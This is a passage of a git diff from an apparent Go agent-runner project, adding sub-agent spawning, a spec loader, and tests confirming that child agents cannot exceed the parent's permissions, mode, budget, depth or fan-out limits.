args.Agent, args.Task, args.Inputs, spec, "" +} + +// buildSpawnRun is the spawn activity's Run closure (S5.3). Everything that +// reads the fold (allowance, parent mode) is captured HERE, on the drive +// goroutine; the closure itself runs on the activity goroutine and journals +// only through the serialized appendE. The child is a fresh run in its own +// journal under /sub/; per-attempt directories keep a retried spawn +// from appending onto a dead child's log. +func (l *Loop) buildSpawnRun(call provider.ToolCall, res *tool.Result, + appendE AppendFunc, allowance int, parentMode string) func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + + attempt := 0 + return func(ctx context.Context) (json.RawMessage, *provider.Usage, bool, error) { + attempt++ + agentName, task, inputs, childSpec, problem := l.resolveSpawnTargetFull(call.Name, call.Args) + if problem != "" { + *res = errorResult(problem) + return res.Payload, nil, true, nil + } + + childDir := filepath.Join(l.Store.Dir(), "sub", fmt.Sprintf("%s-a%d", call.CallID, attempt)) + childStore, err := store.OpenEventStore(childDir) + if err != nil { + return nil, nil, false, fmt.Errorf("spawn %s: %w", agentName, err) + } + defer func() { _ = childStore.Close() }() + childSession := fmt.Sprintf("%s-sub-%s-a%d", l.SessionID, call.CallID, attempt) + + if _, err := appendE(event.TypeSpawnRequested, &event.SpawnRequested{ + CallID: call.CallID, Agent: agentName, Task: task, + ChildSession: childSession, Depth: l.Depth + 1, BudgetTokens: allowance, + }); err != nil { + return nil, nil, false, err + } + + child := l.childLoop(childSpec, childStore, childSession, allowance, parentMode) + child.Inputs = inputs + cres, cerr := child.Run(ctx, task) + if cerr != nil { + // The child journaled real spend before dying — RunResult is + // zero on aborts, so settle from the child's own fold (S5 + // review: an unsettled failed child would let a re-spawn + // over-grant against the tree cap). + spent := childFoldUsage(childDir) + if ctx.Err() != nil { + // Cancellation: the parent's cancel path owns the terminal + // event; the usage rides ActivityCancelled and settles. + return nil, &spent, false, cerr + } + // A failed child is a model-visible result, NOT an activity + // failure: blindly re-running a whole child run would duplicate + // its side effects; the parent model decides whether to re-spawn. + if _, aerr := appendE(event.TypeSubagentCompleted, &event.SubagentCompleted{ + CallID: call.CallID, Agent: agentName, ChildSession: childSession, + Reason: "error", Turns: cres.Turns, Usage: spent, + }); aerr != nil { + return nil, nil, false, aerr + } + *res = errorResult(fmt.Sprintf("sub-agent %s failed: %s", + agentName, redact.FromEnv().String(cerr.Error()))) + return res.Payload, &spent, true, nil + } + + if _, err := appendE(event.TypeSubagentCompleted, &event.SubagentCompleted{ + CallID: call.CallID, Agent: agentName, ChildSession: childSession, + Reason: cres.Reason, Turns: cres.Turns, Usage: cres.Usage, + }); err != nil { + return nil, nil, false, err + } + + // A contract-violating child renders as the parent's ERROR result + // (S5.6): the deliverables were the point of the delegation. The + // loop continues — the parent model decides what to do about it. + isError := cres.Reason == "contract_violation" + payload, _ := json.Marshal(map[string]any{ + "agent": agentName, "child_session": childSession, + "reason": cres.Reason, "turns": cres.Turns, + "report": childReport(childDir), + }) + *res = tool.Result{Payload: payload, IsError: isError} + usage := cres.Usage + return res.Payload, &usage, isError, nil + } +} + +// childLoop builds the frozen child run (S5.3). The intersection contract: +// the child pipeline is the PARENT's gates followed by the child's own — +// every gate must allow, so the child face can only be narrower. The budget +// cap is the min-aggregated allowance; the mode is the parent's live mode at +// spawn (never wider). Interrupts stay with the parent (a parent cancel +// reaches the child through ctx); the child's surface is silent — its +// report returns as the tool result. +func (l *Loop) childLoop(childSpec *AgentSpec, childStore *store.EventStore, + childSession string, allowance int, parentMode string) *Loop { + + frozen := *childSpec + if allowance > 0 { + frozen.Budget.MaxTotalTokens = allowance + } + // Mode never widens, but a child spec MAY be narrower than the parent + // (DESIGN: "mode 不交集——child 的 mode 独立" bounded by the frozen + // rules): the child starts in the narrower of the two. bypass in a + // child spec is rejected at LoadSpec; the clear here is the backstop. + childMode := narrowerMode(parentMode, childSpec.Mode) + frozen.Mode = "" + + var gates []pipeline.Gate + if l.Pipeline != nil { + gates = append(gates, l.Pipeline.Gates...) + } + if allowance > 0 { + gates = append(gates, &pipeline.BudgetGate{MaxTotalTokens: allowance}) + } + if len(childSpec.Permissions) > 0 { + var ws *pipeline.PermissionGate + if l.Pipeline != nil { + for _, g := range l.Pipeline.Gates { + if pg, ok := g.(*pipeline.PermissionGate); ok { + ws = pg + } + } + } + gate := &pipeline.PermissionGate{Rules: childSpec.Permissions} + if ws != nil { + gate.WS = ws.WS + } + gates = append(gates, gate) + } + + return &Loop{ + Spec: &frozen, + Provider: l.Provider, + Exec: l.Exec, + Store: childStore, + Clock: l.Clock, + SessionID: childSession, + Version: l.Version, + Pipeline: &pipeline.Pipeline{Gates: gates}, + Approvals: l.Approvals, // approvals bubble to the same frontend seam + Mode: childMode, + Depth: l.Depth + 1, + SubSpecs: l.SubSpecs, + Board: l.Board, // the collaboration blackboard is tree-shared (S5.4) + Artifacts: l.Artifacts, // the deliverable CAS is tree-shared too (S5.5) + } +} + +// childFoldUsage reads the child's settled usage from its journal — the +// truth even when the child aborted (RunResult carries zero on error paths). +func childFoldUsage(childDir string) provider.Usage { + events, err := store.ReadEvents(childDir) + if err != nil { + return provider.Usage{} + } + s, err := state.Fold(events) + if err != nil { + return provider.Usage{} + } + return s.Run.Usage +} + +// narrowerMode picks the stricter of two run modes (S5 review): the mode +// ladder is plan < default < acceptEdits < bypass, empty meaning default. +func narrowerMode(a, b string) string { + rank := func(m string) int { + switch m { + case pipeline.ModePlan: + return 0 + case "", pipeline.ModeDefault: + return 1 + case pipeline.ModeAcceptEdits: + return 2 + case pipeline.ModeBypass: + return 3 + default: + return 1 // unknown folds to default; LoadSpec rejects it anyway + } + } + if rank(b) < rank(a) { + return b + } + return a +} + +// childReport extracts the child's final assistant text from its journal. +func childReport(childDir string) string { + events, err := store.ReadEvents(childDir) + if err != nil { + return "" + } + s, err := state.Fold(events) + if err != nil { + return "" + } + msgs := assistantMessages(s) + if len(msgs) == 0 { + return "" + } + return assistantText(msgs[len(msgs)-1]) +} + +func errorResult(msg string) tool.Result { + payload, _ := json.Marshal(map[string]string{"error": msg}) + return tool.Result{Payload: payload, IsError: true} +} diff --git a/internal/agent/spawn_test.go b/internal/agent/spawn_test.go new file mode 100644 index 0000000..3d81c3a --- /dev/null +++ b/internal/agent/spawn_test.go @@ -0,0 +1,540 @@ +package agent + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +func summarizerSpec() *AgentSpec { + return &AgentSpec{ + Name: "summarizer", + Description: "condenses findings into a short report", + Model: ModelSpec{Provider: "scripted", ID: "m", MaxTokens: 100}, + SystemPrompt: "you summarize", + Tools: []string{"read_file", "edit_file", "bash"}, + MaxTurns: 3, + } +} + +func staticResolver(specs map[string]*AgentSpec) SubSpecResolver { + return func(name string) (*AgentSpec, error) { + spec, ok := specs[name] + if !ok { + return nil, os.ErrNotExist + } + return spec, nil + } +} + +// spawnLoop builds a parent loop whitelisting the summarizer. The scripted +// fixture is SHARED between parent and child (same provider instance): +// spawn blocks, so the step order is parent turn → child turns → parent turn. +func spawnLoop(t *testing.T, fix scripted.Fixture, root string) (*Loop, *capturingProvider) { + t.Helper() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = es.Close() }) + cap := &capturingProvider{inner: scripted.New(fix)} + return &Loop{ + Spec: &AgentSpec{ + Name: "lead", + Model: ModelSpec{Provider: "scripted", ID: "m", MaxTokens: 100}, + Tools: []string{"read_file"}, + MaxTurns: 5, + Agents: []string{"summarizer"}, + }, + Provider: cap, + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)), + SessionID: "lead-sess", + SubSpecs: staticResolver(map[string]*AgentSpec{"summarizer": summarizerSpec()}), + }, cap +} + +// S5.3 e2e: the agents directory is frozen into the prefix, spawn_agent is +// advertised, the spawn runs a fresh child in its own journal, the child's +// report returns as the tool result, and the child's usage settles into the +// parent's accounting. +func TestSpawnEndToEnd(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + // Parent turn 1: spawn. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "summarize the findings"}}}, + {Usage: &scripted.UsageEvent{InputTokens: 30, OutputTokens: 10}}, + {Finish: "tool_use"}, + }}, + // Child turn 1 (same provider, spawn blocks). + {Respond: []scripted.Event{ + {Text: "REPORT: all systems nominal"}, + {Usage: &scripted.UsageEvent{InputTokens: 20, OutputTokens: 5}}, + {Finish: "end_turn"}, + }}, + // Parent turn 2. + {Respond: []scripted.Event{{Text: "done"}, + {Usage: &scripted.UsageEvent{InputTokens: 8, OutputTokens: 2}}, {Finish: "end_turn"}}}, + }} + l, cap := spawnLoop(t, fix, t.TempDir()) + + res, err := l.Run(context.Background(), "delegate the summary") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v", res) + } + + // Directory frozen into the prefix; spawn_agent advertised. + sys := cap.requests[0].System + if !strings.Contains(sys, "") || !strings.Contains(sys, "summarizer: condenses findings") { + t.Errorf("agents directory missing from prefix:\n%s", sys) + } + var toolNames []string + for _, td := range cap.requests[0].Tools { + toolNames = append(toolNames, td.Name) + } + if !strings.Contains(strings.Join(toolNames, ","), "spawn_agent") { + t.Errorf("spawn_agent not advertised: %v", toolNames) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var spawned *event.SpawnRequested + var completed *event.SubagentCompleted + for _, e := range events { + switch e.Type { + case event.TypeSpawnRequested: + dec, _ := event.DecodePayload(e) + spawned = dec.(*event.SpawnRequested) + case event.TypeSubagentCompleted: + dec, _ := event.DecodePayload(e) + completed = dec.(*event.SubagentCompleted) + } + } + if spawned == nil || spawned.Agent != "summarizer" || spawned.Depth != 1 { + t.Fatalf("spawn_requested = %+v", spawned) + } + if completed == nil || completed.Reason != "completed" || + completed.Usage.InputTokens != 20 { + t.Fatalf("subagent_completed = %+v", completed) + } + + // The child journal is a real, fresh run under the parent's dir. + childDir := filepath.Join(l.Store.Dir(), "sub", "s1-a1") + childEvents, err := store.ReadEvents(childDir) + if err != nil { + t.Fatalf("child journal: %v", err) + } + childFold, err := state.Fold(childEvents) + if err != nil { + t.Fatal(err) + } + if childFold.Run.Status != state.StatusEnded || childFold.Run.SpecName != "summarizer" { + t.Errorf("child fold = %+v", childFold.Run) + } + + // The report reached the parent's fold as the tool result… + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + tr := fold.Conversation.ToolResults["s1"] + if tr.IsError || !strings.Contains(string(tr.Result), "all systems nominal") { + t.Errorf("spawn result = %+v", tr) + } + // …and the child's usage settled into the parent's accounting. + if got := fold.Run.Usage.InputTokens; got != 30+20+8 { + t.Errorf("parent settled input = %d, want 58 (own 38 + child 20)", got) + } + if fold.Budget.ReservedTotal() != 0 { + t.Errorf("spawn reservation not released: %d", fold.Budget.ReservedTotal()) + } +} + +// S5.3 no-escalation: the parent's deny rule binds the child — the child +// pipeline is parent gates + child gates, so the child can only be narrower. +func TestSpawnChildCannotEscalatePermissions(t *testing.T) { + root := t.TempDir() + if err := os.WriteFile(filepath.Join(root, "greet.txt"), []byte("hello"), 0o644); err != nil { + t.Fatal(err) + } + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "edit the file"}}}, + {Finish: "tool_use"}, + }}, + // Child tries the edit the PARENT's rule denies. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "edit_file", + Args: map[string]any{"path": "greet.txt", "old": "hello", "new": "HACKED"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "could not edit"}, {Finish: "end_turn"}}}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, root) + ws := l.Exec.WS + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.SpawnGate{}, + &pipeline.PermissionGate{Rules: []pipeline.PermissionRule{ + {Tool: "edit_file", Action: "deny"}, + {Action: "allow"}, + }, WS: ws}, + }} + + if _, err := l.Run(context.Background(), "go"); err != nil { + t.Fatal(err) + } + // The file survived: the parent's deny bound the child. + got, _ := os.ReadFile(filepath.Join(root, "greet.txt")) + if string(got) != "hello" { + t.Fatalf("child escaped the parent's deny rule: file = %q", got) + } + // And the child journal shows the deny. + childEvents, err := store.ReadEvents(filepath.Join(l.Store.Dir(), "sub", "s1-a1")) + if err != nil { + t.Fatal(err) + } + sawDeny := false + for _, e := range childEvents { + if e.Type == event.TypeEffectResolved && strings.Contains(string(e.Payload), `"deny"`) { + sawDeny = true + } + } + if !sawDeny { + t.Error("child journal missing the deny resolution") + } +} + +// S6 (S5 回访): the child's RunStarted materializes the WHOLE permission +// intersection chain as data — parent layer first, child layer second — so a +// standalone resume of the child session rebuilds the same bounds without +// the parent process's gate pointers. +func TestSpawnMaterializesPermissionLayers(t *testing.T) { + root := t.TempDir() + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "small job"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "child done"}, {Finish: "end_turn"}}}, + {Respond: []scripted.Event{{Text: "all done"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, root) + ws := l.Exec.WS + parentRules := []pipeline.PermissionRule{ + {Tool: "edit_file", Action: "deny"}, + {Action: "allow"}, + } + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.SpawnGate{}, + &pipeline.PermissionGate{Rules: parentRules, WS: ws}, + }} + childSpec := summarizerSpec() + childSpec.Permissions = []pipeline.PermissionRule{ + {Tool: "bash", Action: "deny"}, + {Action: "allow"}, + } + l.SubSpecs = staticResolver(map[string]*AgentSpec{"summarizer": childSpec}) + + if _, err := l.Run(context.Background(), "delegate"); err != nil { + t.Fatal(err) + } + + layersOf := func(dir string) [][]pipeline.PermissionRule { + t.Helper() + events, err := store.ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + decoded, err := event.DecodePayload(events[0]) + if err != nil { + t.Fatal(err) + } + raw := decoded.(*event.RunStarted).PermissionLayers + if len(raw) == 0 { + return nil + } + var layers [][]pipeline.PermissionRule + if err := json.Unmarshal(raw, &layers); err != nil { + t.Fatal(err) + } + return layers + } + + parentLayers := layersOf(l.Store.Dir()) + if len(parentLayers) != 1 || parentLayers[0][0].Tool != "edit_file" { + t.Fatalf("parent layers = %+v, want the single parent rule layer", parentLayers) + } + childLayers := layersOf(filepath.Join(l.Store.Dir(), "sub", "s1-a1")) + if len(childLayers) != 2 { + t.Fatalf("child layers = %+v, want [parent, child]", childLayers) + } + if childLayers[0][0].Tool != "edit_file" || childLayers[1][0].Tool != "bash" { + t.Fatalf("child layers order = %+v, want parent (edit_file deny) then child (bash deny)", childLayers) + } +} + +// S5.3 mode non-widening. Two halves: (a) plan mode cannot spawn AT ALL — +// spawn_agent is execute-class and the hard floor is unbypassable (spawning +// does work); (b) a child spec that asks for bypass is ignored — the child +// starts in the parent's live mode. +func TestSpawnModeNonWidening(t *testing.T) { + t.Run("plan mode cannot spawn", func(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "anything"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "ok"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + l.Mode = pipeline.ModePlan + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.FloorGate{}, + &pipeline.SpawnGate{}, + &pipeline.PermissionGate{Rules: []pipeline.PermissionRule{{Action: "allow"}}, WS: l.Exec.WS}, + }} + if _, err := l.Run(context.Background(), "go"); err != nil { + t.Fatal(err) + } + events, _ := store.ReadEvents(l.Store.Dir()) + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + tr := fold.Conversation.ToolResults["s1"] + if !tr.IsError { + t.Errorf("plan-mode spawn = %+v, want hard-floor deny", tr) + } + if _, err := os.Stat(filepath.Join(l.Store.Dir(), "sub")); err == nil { + t.Error("a child journal exists despite the deny") + } + }) + + t.Run("child spec cannot widen mode", func(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "report"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "report"}, {Finish: "end_turn"}}}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + child := summarizerSpec() + child.Mode = pipeline.ModeBypass // the child spec TRIES to widen + l.SubSpecs = staticResolver(map[string]*AgentSpec{"summarizer": child}) + if _, err := l.Run(context.Background(), "go"); err != nil { + t.Fatal(err) + } + childEvents, err := store.ReadEvents(filepath.Join(l.Store.Dir(), "sub", "s1-a1")) + if err != nil { + t.Fatal(err) + } + childFold, err := state.Fold(childEvents) + if err != nil { + t.Fatal(err) + } + if got := childFold.CurrentMode(); got != pipeline.ModeDefault { + t.Errorf("child mode = %q, want default (spec bypass ignored)", got) + } + }) +} + +// S5.3 tree budget: the spawn reserves the min-aggregated allowance up +// front, so the parent's budget can never be double-committed by a spawn — +// and the whole tree's settled+reserved never exceeds the parent cap. +func TestSpawnBudgetMinAggregation(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "small job"}}}, + {Usage: &scripted.UsageEvent{InputTokens: 60, OutputTokens: 40}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{ + {Text: "tiny report"}, + {Usage: &scripted.UsageEvent{InputTokens: 30, OutputTokens: 20}}, + {Finish: "end_turn"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, + {Usage: &scripted.UsageEvent{InputTokens: 10, OutputTokens: 5}}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + l.Spec.Budget.MaxTotalTokens = 5000 + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.SpawnGate{}, + &pipeline.BudgetGate{MaxTotalTokens: 5000}, + }} + + if _, err := l.Run(context.Background(), "go"); err != nil { + t.Fatal(err) + } + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + // The spawn's reservation = parent remaining at adjudication, and it was + // released on settlement; replay proves settled+reserved ≤ cap always. + s := state.New() + for _, e := range events { + if s, err = state.Apply(s, e); err != nil { + t.Fatal(err) + } + if peak := s.Run.Usage.Billed() + s.Budget.ReservedTotal(); peak > 5000 { + t.Fatalf("tree budget punctured: %d > 5000 after %s", peak, e.Type) + } + } + // Final settled = parent own (100 + 15) + child (50). + if got := s.Run.Usage.Billed(); got != 165 { + t.Errorf("settled = %d, want 165", got) + } + // The journaled allowance was the min aggregation: parent remaining + // (5000 − 100 settled) since the child spec is unlimited. + for _, e := range events { + if e.Type == event.TypeSpawnRequested { + dec, _ := event.DecodePayload(e) + if got := dec.(*event.SpawnRequested).BudgetTokens; got != 4900 { + t.Errorf("allowance = %d, want 4900", got) + } + } + } +} + +// S5.3 caps: depth and fan-out deny via the pipeline (model-visible), never +// crash. Depth: a run already at the cap cannot spawn. Fan-out: the second +// spawn of one turn sees the first's in-batch count. +func TestSpawnDepthAndFanoutCaps(t *testing.T) { + t.Run("depth", func(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "go deeper"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "ok"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + l.Depth = pipeline.DefaultMaxSpawnDepth // already at the cap + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{&pipeline.SpawnGate{}}} + if _, err := l.Run(context.Background(), "go"); err != nil { + t.Fatal(err) + } + events, _ := store.ReadEvents(l.Store.Dir()) + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + tr := fold.Conversation.ToolResults["s1"] + if !tr.IsError || !strings.Contains(string(tr.Result), "depth") { + t.Errorf("depth-capped spawn = %+v, want deny mentioning depth", tr) + } + if fold.Run.Spawns != 0 { + t.Errorf("denied spawn must not count: %d", fold.Run.Spawns) + } + }) + + t.Run("fanout in one batch", func(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "job one"}}}, + {ToolCall: &scripted.ToolCallEvent{CallID: "s2", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "job two"}}}, + {Finish: "tool_use"}, + }}, + // Only ONE child runs (the second spawn is denied at adjudication). + {Respond: []scripted.Event{{Text: "only child"}, {Finish: "end_turn"}}}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{&pipeline.SpawnGate{MaxSpawns: 1}}} + if _, err := l.Run(context.Background(), "go"); err != nil { + t.Fatal(err) + } + events, _ := store.ReadEvents(l.Store.Dir()) + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if fold.Run.Spawns != 1 { + t.Errorf("spawns = %d, want exactly 1 (second denied in-batch)", fold.Run.Spawns) + } + r1, r2 := fold.Conversation.ToolResults["s1"], fold.Conversation.ToolResults["s2"] + if r1.IsError { + t.Errorf("first spawn should succeed: %+v", r1) + } + if !r2.IsError || !strings.Contains(string(r2.Result), "fan-out") { + t.Errorf("second spawn = %+v, want fan-out deny", r2) + } + }) +} + +// S5.3: an agent outside the whitelist is a model-visible error, and with no +// whitelist the tool is not advertised at all. +func TestSpawnWhitelist(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "hacker", "task": "anything"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "ok"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + if _, err := l.Run(context.Background(), "go"); err != nil { + t.Fatal(err) + } + events, _ := store.ReadEvents(l.Store.Dir()) + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + tr := fold.Conversation.ToolResults["s1"] + if !tr.IsError || !strings.Contains(string(tr.Result), "not in this agent's directory") { + t.Errorf("off-whitelist spawn = %+v", tr) + } + + // Without a whitelist, spawn_agent is not advertised. + fix2 := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "hi"}, {Finish: "end_turn"}}}, + }} + l2, cap2 := spawnLoop(t, fix2, t.TempDir()) + l2.Spec.Agents = nil + if _, err := l2.Run(context.Background(), "hi"); err != nil { + t.Fatal(err) + } + for _, td := range cap2.requests[0].Tools { + if td.Name == "spawn_agent" { + t.Error("spawn_agent advertised without a whitelist") + } + } +} diff --git a/internal/agent/spec.go b/internal/agent/spec.go new file mode 100644 index 0000000..b813bb0 --- /dev/null +++ b/internal/agent/spec.go @@ -0,0 +1,213 @@ +// Package agent holds the agent spec model and (later stages) the agent loop. +package agent + +import ( + "bytes" + "fmt" + "os" + "path/filepath" + "time" + + "gopkg.in/yaml.v3" + + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/tool" +) + +// DefaultMaxTurns applies when a spec omits max_turns (S1 defaults pack). +const DefaultMaxTurns = 40 + +// DefaultMaxTokens applies when a spec omits model.max_tokens. +const DefaultMaxTokens = 8192 + +// ModelSpec selects the provider and model for an agent. +type ModelSpec struct { + Provider string `yaml:"provider"` + ID string `yaml:"id"` + MaxTokens int `yaml:"max_tokens"` + // CompactAtTokens triggers context compaction (S4.5) when the assembled + // transcript's estimated size exceeds it — a v0 absolute threshold + // standing in for DESIGN's trigger_ratio × context_window (which needs a + // per-model window not yet modeled). Zero disables compaction. + CompactAtTokens int `yaml:"compact_at_tokens,omitempty"` + // Thinking requests extended thinking (S4.7); providers map it or + // downgrade explicitly when their Capabilities.Thinking is false. + Thinking ThinkingSpec `yaml:"thinking,omitempty"` +} + +// ThinkingSpec is the spec-level extended-thinking request (S4.7). +type ThinkingSpec struct { + Enabled bool `yaml:"enabled,omitempty"` + BudgetTokens int `yaml:"budget_tokens,omitempty"` +} + +// AgentSpec is the declarative agent definition (S1 minimal shape). +// After LoadSpec returns, SystemPrompt always holds the final prompt text — +// system_prompt_file is resolved at load time. +type AgentSpec struct { + Name string `yaml:"name"` + Model ModelSpec `yaml:"model"` + SystemPrompt string `yaml:"system_prompt"` + SystemPromptFile string `yaml:"system_prompt_file"` + Tools []string `yaml:"tools"` + MaxTurns int `yaml:"max_turns"` + // Permissions is the spec-level rule source (3.4): lowest precedence + // in the user > project > spec merge. + Permissions []pipeline.PermissionRule `yaml:"permissions,omitempty"` + // Mode is the starting run mode (3.6); CLI --mode overrides. Empty = + // "default". + Mode string `yaml:"mode,omitempty"` + // Budget caps the run (3.7); zero values mean unlimited. + Budget BudgetSpec `yaml:"budget,omitempty"` + // AllowedTools narrows the MCP tool face (S5.1) to these fully-qualified + // names (mcp____). Empty = every discovered tool. Built-in + // tools are unaffected — they are selected by Tools. + AllowedTools []string `yaml:"allowed_tools,omitempty"` + // Description is what a PARENT's agents directory shows for this spec + // when it appears as a spawnable sub-agent (S5.3). + Description string `yaml:"description,omitempty"` + // Agents whitelists the sub-agent specs this agent may spawn (S5.3). + // The model only sees — and can only spawn — what is listed here. + Agents []string `yaml:"agents,omitempty"` + // OnRunEnd says what happens to still-running background tasks at a + // run ending (S6.1): "cancel" (default) or "await". + OnRunEnd string `yaml:"on_run_end,omitempty"` + // AwaitTimeout bounds the epilogue's await quiesce (S7 还债, DESIGN: + // await 必有 durable timer 兜底) — a Go duration; empty = 30m. When the + // timer fires the remaining tasks are cancelled and the run ends. + AwaitTimeout string `yaml:"await_timeout,omitempty"` + // Outputs is the deliverable contract (S5.6): at a graceful ending the + // epilogue auto-publishes each declared output (from its workspace Path + // unless the run already published the stream) and a missing Required + // one downgrades the ending to contract_violation. + Outputs []OutputSpec `yaml:"outputs,omitempty"` +} + +// OutputSpec is one declared deliverable (DESIGN: name, path, required). +type OutputSpec struct { + Name string `yaml:"name"` + Path string `yaml:"path,omitempty"` + Required bool `yaml:"required,omitempty"` +} + +// BudgetSpec is the spec-level resource cap. +type BudgetSpec struct { + MaxTotalTokens int `yaml:"max_total_tokens,omitempty"` +} + +// LoadSpec reads, parses, validates, and resolves an agent spec. +// Error format (S1 defaults pack): "spec : field : ". +func LoadSpec(path string) (*AgentSpec, error) { + raw, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("spec %s: %w", path, err) + } + + var spec AgentSpec + dec := yaml.NewDecoder(bytes.NewReader(raw)) + dec.KnownFields(true) + if err := dec.Decode(&spec); err != nil { + return nil, fmt.Errorf("spec %s: %v", path, err) + } + + if err := spec.validate(path); err != nil { + return nil, err + } + + if spec.SystemPromptFile != "" { + promptPath := spec.SystemPromptFile + if !filepath.IsAbs(promptPath) { + promptPath = filepath.Join(filepath.Dir(path), promptPath) + } + content, err := os.ReadFile(promptPath) + if err != nil { + return nil, fmt.Errorf("spec %s: field system_prompt_file: %v", path, err) + } + spec.SystemPrompt = string(content) + spec.SystemPromptFile = "" + } + + if spec.MaxTurns == 0 { + spec.MaxTurns = DefaultMaxTurns + } + if spec.Model.MaxTokens == 0 { + spec.Model.MaxTokens = DefaultMaxTokens + } + return &spec, nil +} + +func (s *AgentSpec) validate(path string) error { + fail := func(field, problem string) error { + return fmt.Errorf("spec %s: field %s: %s", path, field, problem) + } + + if s.Name == "" { + return fail("name", "required") + } + if s.Model.Provider == "" { + return fail("model.provider", "required") + } + if s.Model.ID == "" { + return fail("model.id", "required") + } + if s.Model.MaxTokens < 0 { + return fail("model.max_tokens", "must be positive") + } + + hasInline := s.SystemPrompt != "" + hasFile := s.SystemPromptFile != "" + if hasInline && hasFile { + return fail("system_prompt", "exactly one of system_prompt and system_prompt_file must be set, got both") + } + if !hasInline && !hasFile { + return fail("system_prompt", "exactly one of system_prompt and system_prompt_file must be set, got neither") + } + + for _, name := range s.Tools { + if _, ok := tool.Get(name); !ok { 